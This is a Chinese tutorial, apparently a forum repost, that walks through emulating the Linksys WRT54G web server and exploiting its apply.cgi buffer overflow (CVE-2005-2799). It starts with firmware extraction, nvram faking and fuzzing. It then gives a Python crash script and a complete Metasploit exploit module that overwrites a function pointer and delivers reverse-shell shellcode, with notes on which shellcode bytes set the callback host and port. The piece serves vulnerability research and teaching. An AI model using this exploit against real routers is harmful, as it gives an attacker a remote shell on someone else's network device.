概述:无线路由器被广泛使用在工业、企业、家庭的网络环境中,无线路由器安全漏洞研究是物联网安全研究的重要领域之一。
目前很多网上无线路由器漏洞分析的文章直接翻译的国外文章,但实际做起来会发现存在各种问题。
本文根据实际实验,从环境搭建、模糊测试、漏洞利用三个阶段完整展现无线路由器web服务器缓存区溢出漏洞挖掘分析的详细过程。
无线路由器被广泛使用在工业、企业、家庭的网络环境中,无线路由器安全漏洞研究是物联网安全研究的重要领域。本文为你展现无线路由器web服务器缓存区溢出漏洞的模糊测试到漏洞利用的详细过程。
建立交叉编译环境
CFLAGS="-fPIC" 在defs.sh中修改 在profile中增加
下载musl-cross : git clone https://github.com/GregorR/musl-cross.git。在 config.sh中增加
TRIPLE=mipsel-linux-musl
LINUX_HEADERS_URL=https://kernel.org/pub/linux/kernel/v2.6/longterm/v2.6.32/linux-2.6.32.70.tar.xz in defs.sh
运行 ./build.sh
交叉编译环境将被安装在/opt/cross目录。
export MIPSEL_HOME=/opt/cross/mipsel-linux-musl
export PATH=$PATH: $MIPSEL_HOME/bin
LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$MIPSEL_HOME/lib
export LD_LIBRARY_PATH
安装IDA插件
固件下载
http://dl-sh-ocn-1.pchome.net/2s/9o/linksys_wrt54gv2_fw4007.zip?key=5df0916ed9d62e2a295dbc6dddb2ba9d&tmp=1492133581036
root@aflfuzz:~# binwalk -e WRT54GV3.1_4.00.7_US_code.bin
WRT54G httod服务器模糊测试
在firmadyne虚拟环境运行防火墙(见《嵌入式固件自动化分析环境firmadyne使用详细教程》)。使用burpesuite测试apply.cgi请求可以导致httpd服务崩溃。说明该请求存在bug。方法:
点击start attack开始攻击,在攻击串超过10000后httpd服务器崩溃。
Firmadyne控制台也显示httpd had died:
使用nvram-faker修复NVRAM
1. Qemu-mipsel虚拟运行防火墙/usr/sbin/httpd服务
为了进一步分析调试httpd服务,需要使用qemu-mipsel-static虚拟运行路由器中的httpd服务进程。(采取这个方式是因为直接在firmadyne环境里使用gdbserver实验无法远程调试)
root@aflfuzz:~/_WRT54GV3.1_4.00.7_US_code.bin.extracted/squashfs-root# chroot ./ ./qemu-mipsel-static . /usr/sbin/httpd
/dev/nvram: No such file or directory
出现错误提示,因此需要修复nvarm硬件依赖。
下载:git clone https://github.com/zcutlip/nvram-faker.git
2. 修改nvram-faker增加劫持函数
原始fork函数会启动很多子进程导致程序调试复杂,所以需要劫持它,简化调试。
增加劫持get_mac_from_ip,修改nvram-faker.h文件添加fork函数:
#ifndef __NVRAM_FAKER_H__
#define __NVRAM_FAKER_H__
char *nvram_get(const char *key);
int fork(void);
char *get_mac_from_ip(const char*ip);
…
#endif /* __NVRAM_FAKER_H__ */
修改nvram-faker.c添加fork、get_mac_from_ip函数
…
int fork(void)
{
return 0;
}
char *get_mac_from_ip(const char*ip)
{
char mac[]="00:50:56:C0:00:08";
char *rmac = strdup(mac);
return rmac;
}
3. 编译nvram-faker
root@aflfuzz:~/nvram-faker-master# ./buildmipsel.sh
mipsel-linux-gcc -Wall -I./contrib/inih -ggdb -DINI_MAX_LINE=2000 -DINI_USE_STACK=0 -fPIC -c -o nvram-faker.o nvram-faker.c
make -C ./contrib/inih ini.o
make[1]: 正在进入目录 `/root/nvram-faker-master/contrib/inih'
mipsel-linux-gcc -ggdb -DINI_MAX_LINE=2000 -DINI_USE_STACK=0 -fPIC -c -o ini.o ini.c
make[1]:正在离开目录 `/root/nvram-faker-master/contrib/inih'
cp ./contrib/inih/ini.o .
mipsel-linux-gcc -shared -o libnvram-faker.so nvram-faker.o ini.o -Wl,-nostdlib
root@aflfuzz:~/nvram-faker-master# ls
arch.mk ini.o nvram-faker.c~ nvram-faker.o
buildmipsel.sh libnvram-faker.so nvram-faker.h nvram.ini
buildmipsel.sh~ LICENSE.txt nvram-faker.h~ README.md
buildmips.sh Makefile nvram-faker-internal.h
contrib nvram-faker.c nvram_faker_main.c
4. 将libnvram-faker.so和同目录下的nvram.ini复制到WRT54G路由器的根文件系统中。
将buildroot交叉编译环境output/host/目录下libgcc_s.so.1(因为编译libnvaram-faker.so库用到了这个共享库)文件复制到路由器二进制根目录,复制后目录结构如下:
root@aflfuzz:~/ _R6200-V1.0.0.28_1.0.24.bin.extracted/squashfs-root# ls
bin etc libnvram-faker.so nvram.ini proc sbin tmp var
dev lib mnt prepare.sh qemu-mipsel-static sys usr www
5. 写如下prepare.sh脚本修改HTTPD执行环境
HTTPD在运行时需要对/var目录下的某些文件进行操作,而这些文件是在Linux启动过程中才会产生的,因此要先删除var目录,再创建。
Prepare.sh
#!/bin/sh
rm var
mkdir var
mkdir ./var/run
mkdir ./var/tmp
touch ./var/run/lock
touch ./var/run/crod.pid
touch httpd.pid
使用qemu-mipsel-static试运行httpd
使用sudo运行:
root@aflfuzz:~# cd _WRT54GV3.1_4.00.7_US_code.bin.extracted/squashfs-rootroot@aflfuzz:~/_WRT54GV3.1_4.00.7_US_code.bin.extracted/squashfs-root#sudo chroot . ./qemu-mipsel -E LD_PRELOAD="/libnvram-faker.so" ./usr/sbin/httpd
# sudo chroot . ./qemu-mipsel -E LD_PRELOAD="/libnvram-faker.so" ./usr/sbin/httpd
LOG_HTTPD=Unknown
setsockopt(SO_SNDTIMEO): Invalid argument
setsockopt(SO_RCVTIMEO): Invalid argument
http_client_ip=Unknown
/dev/nvram: No such file or directory
http_client_mac=Unknown
/dev/nvram: No such file or directory
http_username=Unknown
http_passwd=Unknown
router_name=Unknown
web_wl_filter=Unknown
这时需要创建一些设备对象和修改nvram.ini文件。
创建硬件设备及配置文件
使用firmadyne脚本改写的。
1) fixImage.sh
#!/bin/sh
# use busybox statically-compiled version of all binaries
#BUSYBOX="busybox"
# print input if not symlink, otherwise attempt to resolve symlink
resolve_link() {
TARGET=$(readlink $1)
if [ -z "$TARGET" ]; then
echo "$1"
fi
echo "$TARGET"
}
# make /etc and add some essential files
mkdir -p "$(resolve_link etc)"
if [ ! -s etc/TZ ]; then
echo "Creating etc/TZ!"
mkdir -p "$(dirname $(resolve_link etc/TZ))"
echo "EST5EDT" > "$(resolve_link etc/TZ)"
fi
if [ ! -s etc/hosts ]; then
echo "Creating etc/hosts!"
mkdir -p "$(dirname $(resolve_link etc/hosts))"
echo "127.0.0.1 localhost" > "$(resolve_link etc/hosts)"
fi
if [ ! -s etc/passwd ]; then
echo "Creating etc/passwd!"
mkdir -p "$(dirname $(resolve_link etc/passwd))"
echo "root::0:0:root:/root:/bin/sh" > "$(resolve_link etc/passwd)"
fi
# make /dev and add default device nodes if current /dev does not have greater
# than 5 device nodes
mkdir -p "$(resolve_link dev)"
FILECOUNT="$(find dev -maxdepth 1 -type b -o -type c -print | wc -l)"
if [ $FILECOUNT -lt "5" ]; then
echo "Warning: Recreating device nodes!"
mknod -m 660 dev/mem c 1 1
mknod -m 640 dev/kmem c 1 2
mknod -m 666 dev/null c 1 3
mknod -m 666 dev/zero c 1 5
mknod -m 444 dev/random c 1 8
mknod -m 444 dev/urandom c 1 9
mknod -m 666 dev/armem c 1 13
mknod -m 666 dev/tty c 5 0
mknod -m 622 dev/console c 5 1
mknod -m 666 dev/ptmx c 5 2
mknod -m 622 dev/tty0 c 4 0
mknod -m 660 dev/ttyS0 c 4 64
mknod -m 660 dev/ttyS1 c 4 65
mknod -m 660 dev/ttyS2 c 4 66
mknod -m 660 dev/ttyS3 c 4 67
mknod -m 644 dev/adsl0 c 100 0
mknod -m 644 dev/ppp c 108 0
mknod -m 666 dev/hidraw0 c 251 0
mkdir -p dev/mtd
mknod -m 644 dev/mtd/0 c 90 0
mknod -m 644 dev/mtd/1 c 90 2
mknod -m 644 dev/mtd/2 c 90 4
mknod -m 644 dev/mtd/3 c 90 6
mknod -m 644 dev/mtd/4 c 90 8
mknod -m 644 dev/mtd/5 c 90 10
mknod -m 644 dev/mtd/6 c 90 12
mknod -m 644 dev/mtd/7 c 90 14
mknod -m 644 dev/mtd/8 c 90 16
mknod -m 644 dev/mtd/9 c 90 18
mknod -m 644 dev/mtd/10 c 90 20
mknod -m 644 dev/mtd0 c 90 0
mknod -m 644 dev/mtdr0 c 90 1
mknod -m 644 dev/mtd1 c 90 2
mknod -m 644 dev/mtdr1 c 90 3
mknod -m 644 dev/mtd2 c 90 4
mknod -m 644 dev/mtdr2 c 90 5
mknod -m 644 dev/mtd3 c 90 6
mknod -m 644 dev/mtdr3 c 90 7
mknod -m 644 dev/mtd4 c 90 8
mknod -m 644 dev/mtdr4 c 90 9
mknod -m 644 dev/mtd5 c 90 10
mknod -m 644 dev/mtdr5 c 90 11
mknod -m 644 dev/mtd6 c 90 12
mknod -m 644 dev/mtdr6 c 90 13
mknod -m 644 dev/mtd7 c 90 14
mknod -m 644 dev/mtdr7 c 90 15
mknod -m 644 dev/mtd8 c 90 16
mknod -m 644 dev/mtdr8 c 90 17
mknod -m 644 dev/mtd9 c 90 18
mknod -m 644 dev/mtdr9 c 90 19
mknod -m 644 dev/mtd10 c 90 20
mknod -m 644 dev/mtdr10 c 90 21
mkdir -p dev/mtdblock
mknod -m 644 dev/mtdblock/0 b 31 0
mknod -m 644 dev/mtdblock/1 b 31 1
mknod -m 644 dev/mtdblock/2 b 31 2
mknod -m 644 dev/mtdblock/3 b 31 3
mknod -m 644 dev/mtdblock/4 b 31 4
mknod -m 644 dev/mtdblock/5 b 31 5
mknod -m 644 dev/mtdblock/6 b 31 6
mknod -m 644 dev/mtdblock/7 b 31 7
mknod -m 644 dev/mtdblock/8 b 31 8
mknod -m 644 dev/mtdblock/9 b 31 9
mknod -m 644 dev/mtdblock/10 b 31 10
mknod -m 644 dev/mtdblock0 b 31 0
mknod -m 644 dev/mtdblock1 b 31 1
mknod -m 644 dev/mtdblock2 b 31 2
mknod -m 644 dev/mtdblock3 b 31 3
mknod -m 644 dev/mtdblock4 b 31 4
mknod -m 644 dev/mtdblock5 b 31 5
mknod -m 644 dev/mtdblock6 b 31 6
mknod -m 644 dev/mtdblock7 b 31 7
mknod -m 644 dev/mtdblock8 b 31 8
mknod -m 644 dev/mtdblock9 b 31 9
mknod -m 644 dev/mtdblock10 b 31 10
mkdir -p dev/tts
mknod -m 660 dev/tts/0 c 4 64
mknod -m 660 dev/tts/1 c 4 65
mknod -m 660 dev/tts/2 c 4 66
mknod -m 660 dev/tts/3 c 4 67
fi
# create a gpio file required for linksys to make the watchdog happy
if (grep -sq "dev/gpio/in" bin/gpio) ||
(grep -sq "dev/gpio/in" usr/lib/libcm.so) ||
(grep -sq "dev/gpio/in" usr/lib/libshared.so); then
echo "Creating dev/gpio/in!"
mkdir -p dev/gpio
echo -ne "\xff\xff\xff\xff" > dev/gpio/in
fi
# prevent system from rebooting
#echo "Removing /sbin/reboot!"
#rm -f /sbin/reboot
echo "Removing /etc/scripts/sys_resetbutton!"
rm -f etc/scripts/sys_resetbutton
# add some default nvram entries
if grep -sq "ipv6_6to4_lan_ip" sbin/rc; then
echo "Creating default ipv6_6to4_lan_ip!"
echo -n "2002:7f00:0001::" > firmadyne/libnvram.override/ipv6_6to4_lan_ip
fi
if grep -sq "time_zone_x" lib/libacos_shared.so; then
echo "Creating default time_zone_x!"
echo -n "0" > firmadyne/libnvram.override/time_zone_x
fi
if grep -sq "rip_multicast" usr/sbin/httpd; then
echo "Creating default rip_multicast!"
echo -n "0" > firmadyne/libnvram.override/rip_multicast
fi
if grep -sq "bs_trustedip_enable" usr/sbin/httpd; then
echo "Creating default bs_trustedip_enable!"
echo -n "0" > firmadyne/libnvram.override/bs_trustedip_enable
fi
if grep -sq "filter_rule_tbl" usr/sbin/httpd; then
echo "Creating default filter_rule_tbl!"
echo -n "" > firmadyne/libnvram.override/filter_rule_tbl
fi
if grep -sq "rip_enable" sbin/acos_service; then
echo "Creating default rip_enable!"
echo -n "0" > firmadyne/libnvram.override/rip_enable
fi
2) preInit.sh脚本
#!/bin/sh
[ -d dev ] || mkdir -p dev
[ -d root ] || mkdir -p root
[ -d sys ] || mkdir -p sys
[ -d proc ] || mkdir -p proc
[ -d tmp ] || mkdir -p tmp
mkdir -p var/lock
mount -t sysfs sysfs sys
mount -t proc proc proc
ln -sf proc/mounts etc/mtab
mkdir -p dev/pts
mount -t devpts devpts dev/pts
mount -t tmpfs tmpfs /run
3) makeImage.sh脚本
#!/bin/bash
set -e
set -u
echo "----Creating FIRMADYNE Directories----"
mkdir "firmadyne/"
mkdir "firmadyne/libnvram/"
mkdir "firmadyne/libnvram.override/"
sh fixImage.sh
echo "----Setting up FIRMADYNE----"
mknod -m 666 "firmadyne/ttyS1" c 4 65
cp "libnvram.so.mipsel" "firmadyne/libnvram.so"
chmod a+x "firmadyne/libnvram.so"
cp "preInit.sh" "firmadyne/preInit.sh"
chmod a+x "firmadyne/preInit.sh"
4) 修改nvram.ini
修改lan_hwaddr、lan_ipaddr,增加LOG_HTTPD等一些内容,修改后nvram.ini内容如下:
[config]
os_name=linux
os_version=3.90.7.0
os_date=Apr 26 2005
os_server=
stats_server=
ct_modules=
daylight_time=1
upnp_port=9999
upnp_ad_time=30
upnp_sub_timeout=60
upnp_conn_retries=10
log_level=0
lan_hwaddr=00:50:56:C0:00:08
lan_ifname=eth0
lan_ifnames=eth0 eth1 eth2 eth3
lan_hwnames=
lan1_ifname=wlan0
lan_proto=dhcp
log_enable=0
log_ipaddr=0
ntp_server=
upnp_turn_on=1
lan_ipaddr=10.0.0.141
lan_bipaddr=10.0.0.255
lan_netmask=255.255.255.0
lan_ifnames=eth0
lan_dhcp=0
lan_proto=dhcp
lan_wins=
lan_domain=
lan_lease=86400
lan_stp=0
lan_route=
ethConver=1
ezc_enable=1
ezc_version=2
is_default=1
friendly_name=littlebitch
fw_disable=0
filter_maclist=
filter_macmode=deny
filter_client0=
filter=on
filter_port=
filter_rule1=
filter_rule2=
filter_rule3=
filter_rule4=
filter_rule5=
filter_rule6=
filter_rule7=
filter_rule8=
filter_rule9=
filter_rule10=
filter_tod1=
filter_tod2=
filter_tod3=
filter_tod4=
filter_tod5=
filter_tod6=
filter_tod7=
filter_tod8=
filter_tod9=
filter_tod10=
filter_tod_buf1=
filter_tod_buf2=
filter_tod_buf3=
filter_tod_buf4=
filter_tod_buf5=
filter_tod_buf6=
filter_tod_buf7=
filter_tod_buf8=
filter_tod_buf9=
filter_tod_buf10=
filter_ip_grp1=
filter_ip_grp2=
filter_ip_grp3=
filter_ip_grp4=
filter_ip_grp5=
filter_ip_grp6=
filter_ip_grp7=
filter_ip_grp8=
filter_ip_grp9=
filter_ip_grp10=
filter_mac_grp1=
filter_mac_grp2=
filter_mac_grp3=
filter_mac_grp4=
filter_mac_grp5=
filter_mac_grp6=
filter_mac_grp7=
filter_mac_grp8=
filter_mac_grp9=
filter_mac_grp10=
filter_web_host1=
filter_web_host2=
filter_web_host3=
filter_web_host4=
filter_web_host5=
filter_web_host6=
filter_web_host7=
filter_web_host8=
filter_web_host9=
filter_web_host10=
filter_web_url1=
filter_web_url2=
filter_web_url3=
filter_web_url4=
filter_web_url5=
filter_web_url6=
filter_web_url7=
filter_web_url8=
filter_web_url9=
filter_web_url10=
filter_port_grp1=
filter_port_grp2=
filter_port_grp3=
filter_port_grp4=
filter_port_grp5=
filter_port_grp6=
filter_port_grp7=
filter_port_grp8=
filter_port_grp9=
filter_port_grp10=
upnp_duration=3600
upnp_advert_ttl=4
upnp_advert_period=30
upnp_enable=1
wps_device_pin=12345678
wps_version2=enabled
wps_config_method=0x284
wps_aplockdown_forceon=0
wps_lock_start_cnt=3
wps_lock_forever_cnt=3
wps_aplockdown_disable=0
wps_mixedmode=2
wps_random_ssid_prefix=foobar
wps_randomssid=foobar_ssid
wan_ifnames=eth0
wan_ifname=eth0
wanif=eth0
wan_ipaddr=0.0.0.0
wan_netmask=0.0.0.0
wan_hwaddr=01:23:45:67:89:ab
wan_hwaddr_def=01:23:45:67:89:ab
wan_hwname=
wan_proto=dhcp
wan_gateway=0.0.0.0
wan_dns=
wan_wins=
wan_hostname=
wan_domain=
wan_lease=86400
wan_primary=1
wan_unit=0
static_route=
static_route_name=
time_zone_x=0
time_zone=-08 1 1
timer_interval=3600
router_disable=0
rip_multicast=0
wps_device_name=wrt54qemu
wps_mfstring=netgear
wps_modelname=wrt54
wps_modelnum=1
boardnum=1
wps_wer_mode=allow
wfa_port=9999
wfa_adv_time=30
wps_version2_num=1
wps_pbc_apsta=enabled
wps_ess_num=1
console_loglevel=7
restore_defaults=1
sku_name=
wla_wlanstate=
lan_if=eth0
wan_ifname=eth0
time_zone=EST5EDT
LOG_HTTPD=127.0.0.1
http_username=admin
http_passwd=admin
router_name=wrt54
router_disable=0
web_wl_filter=
bs_trustedip_enable=0
加载/libnvram-faker.so运行httpd
不开启远程调试端口:
sudo chroot ./ ./qemu-mipsel -E LD_PRELOAD="/libnvram-faker.so" ./usr/sbin/httpd 开启远程调试端口:
sudo chroot ./ ./qemu-mipsel -E LD_PRELOAD="/libnvram-faker.so" -g 1234 ./usr/sbin/httpd
使用IDA Pro远程调试
1. IDA Pro远程调试启动
1) 设置调试器选项
2) 在main函数入口设置断点
3) 附加到进程
附加成功后显示:
4) 按F9继续进程
2. 构造apply cgi的请求数据包
根据3.2章节模糊测试情况,使用msf里pattern_create.rb构造apply.cgi请求的post数据,放到burpsuite里重放。
Post数据构造命令如下: 构造的post http请求如下:
root@kali:/opt/metasploit/apps/pro/msf3/tools# ./pattern_create.rb 26384
POST /apply.cgi HTTP/1.1
Accept-Encoding: identity
Content-Length: 26384
Host: 10.0.0.141
Content-Type: application/x-www-form-urlencoded
Connection: close
User-Agent: Python-urllib/2.7
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk
......
完整代码请阅读原文查看
3. 计算崩溃点偏移
在httpd启动后,IDA附加到远程进程,然后使用burpsuite发送请求:
此时可以在IDA view-pc窗口看到在地址:100041E8处是在post_buf全局变量后的另一个全局对象区,其起始字符串是:v3Mv,其偏移为:
发送请求成功后进程崩溃。
root@kali:/opt/metasploit/apps/pro/msf3/tools# ./pattern_offset.rb v3Mv 26384
[*] Exact match at offset 10000
也就是说明:post_buf的大小是:10000字节
我们查看View-PC,对比原do_post_apply汇编代码,可以看到,发生崩溃后函数原函数strlen被字符串覆盖。
原函数汇编:
可见我们的缓冲区填充了strlen地址。如果我们填入的是可执行代码,那么当前PC指令劫持后程序继续执行就会到strlen函数所在地址去执行strlen函数时,就会实际上执行我们填充的代码。 这时恰好覆盖到strlen函数地址所需的长度为15042,可以通过如下方式计算得到:
崩溃后strlen被0x54346854覆盖。
root@kali:/opt/metasploit/apps/pro/msf3/tools# ./pattern_offset.rb 0x54346854 26384
[*] Exact match at offset 15042
这个0x54346854从崩溃提示就可以获取到。
4. 调试分析strlen被覆盖的精确长度
通过修改wrt54g_test.py测试脚本中字符串的布局,然后调试分析,观察do_post_apply函数中原 la $t9,strlen处,strlen被代替的unk_(16进制地址)可获得strlen被覆盖的精确位置。
最终确定strlen被精确覆盖长度的测试脚本如下:
import sys
import urllib2
try:
target = sys.argv[1]
except:
print "Usage: %s <target>" % sys.argv[0]
sys.exit(1)
url = "http://%s/apply.cgi" % target
buf = "\x42"*10000+"\x43"*5044+"\x41"*4+"\x44"*11336 # POST parameter name
#buf = "\x42"*10000+"\x41"*1000 # POST parameter name
req = urllib2.Request(url, buf)
print urllib2.urlopen(req).read()
测试效果:
Strlen处被4个A字符覆盖,如果此处是post_buf的首地址,程序将被劫持到post_buf首地址执行。
5. 构造攻击载荷
构造攻击载荷,一般有两种思路:一是覆盖函数的return地址,一是覆盖后续调用的其他函数地址。本实验中由于后续的指令是strlen执行,因此只需覆盖strlen就可以劫持程序的执行流程。
为了稳定起见,我们在post_buf长度后再扩展5044长度到10000(即:0x2710),这个区间全部填充post_buf的首地址。而在post_buf存储区间前面填充滑翔指令+shellcode。
只要溢出发生后程序跳15044长度后的post_buf首地址,这样在strlen劫持后可以跳转到post_buf首地址去执行shellcode。Mips中滑翔指令为“\x00”。
我们使用msf框架编写exploit。
linksys_apply_cgi_wrt54g.rb
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class MetasploitModule < Msf::Exploit::Remote
Rank = GreatRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'Linksys WRT54 Access Point apply.cgi Buffer Overflow',
'Description' => %q{
This module exploits a stack buffer overflow in apply.cgi on the Linksys WRT54G and WRT54GS routers.
According to iDefense who discovered this vulnerability, all WRT54G versions prior to
4.20.7 and all WRT54GS version prior to 1.05.2 may be be affected.
},
'Author' => [ 'Yingjun.Yang' ],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2005-2799'],
[ 'OSVDB', '19389' ],
[ 'URL', 'http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=305'],
],
'Payload' =>
{
'Space' => 10000,
'DisableNops' => true,
},
'Arch' => ARCH_MIPSLE,
'Platform' => 'linux',
'Targets' =>
[
# the middle of the intersection is our generic address
#((addrs.map { |n, h| [h["Bufaddr"],n] }.max[0] + addrs.map { |n, h| [h["Bufaddr"],n] }.min[0]+9500)/2).to_s(16)
[ 'Generic', { 'Bufaddr' => 0x10001AD8}],
],
'DisclosureDate' => 'Sep 13 2005',
'DefaultTarget' => 0))
register_options(
[
Opt::RHOST('192.168.1.1')
], self.class)
end
# Approx size of the remaining space in the data segment after our buffer
DataSegSize = 0x2710
def exploit
c = connect
print_status("Return address at 0x#{target['Bufaddr'].to_s(16)}")
print_status("Shellcode length: #{payload.encoded.length}")
addr = [target['Bufaddr']].pack('V')
post_data = "\x00"*(10000-payload.encoded.length)+payload.encoded+addr*(DataSegSize/4)
# print_status("Malicious request sent, do_ej should be overwritten")
req = c.request_cgi({ 'uri' => "/apply.cgi",
'method' => 'POST',
'data' => post_data
})
c.send_request(req)
print_status("payload sent complete!")
handler
disconnect
end
end
6. 执行攻击测试
载荷要使用linux/mipsle/shell_reverse_tcp,其他载荷会报错
在firmadyne中运行防火墙,方法见《嵌入式固件自动化分析环境firmadyne使用详细教程》。
运行后如图:
使用msf及刚才开发的exploit攻击,使用use加载exploit ,set payload设置载荷。
设置rhost(攻击目标),lhost(反向shell监听本地机)
Exploit执行攻击:
可以在IDA中在do_post函数中执行strlen之前下断点,然后使用qemu-mipsel调试分析程序,查看此时shellcode。
在使用linksys_apply_cgi_wrt54g.rb发起攻击后,IDA中指令会在strlen执行前的断点处暂停。
然后f7单步跟踪:
在地址:0x10004130后可以看到shellcode。
红线部分即为shellcode。
将红线部分二进制代码摘下来可放在其他脚本中开发exploit,其中:\x11\x5c\x0e\x3c \x11\x5c\xce\x35替换为反向连接端口号(\x11\x5c是我们目前设置的端口4444);\x00\x8d\x0e\x3c \x0a\x00\xce\x35替换为反向链接主机(\x0a\x00\x00\x8d是目前我们设置的地址:10.0.0.141)
看雪ID:cloud闲云
https://bbs.pediy.com/user-536783.htm
推荐文章++++
好书推荐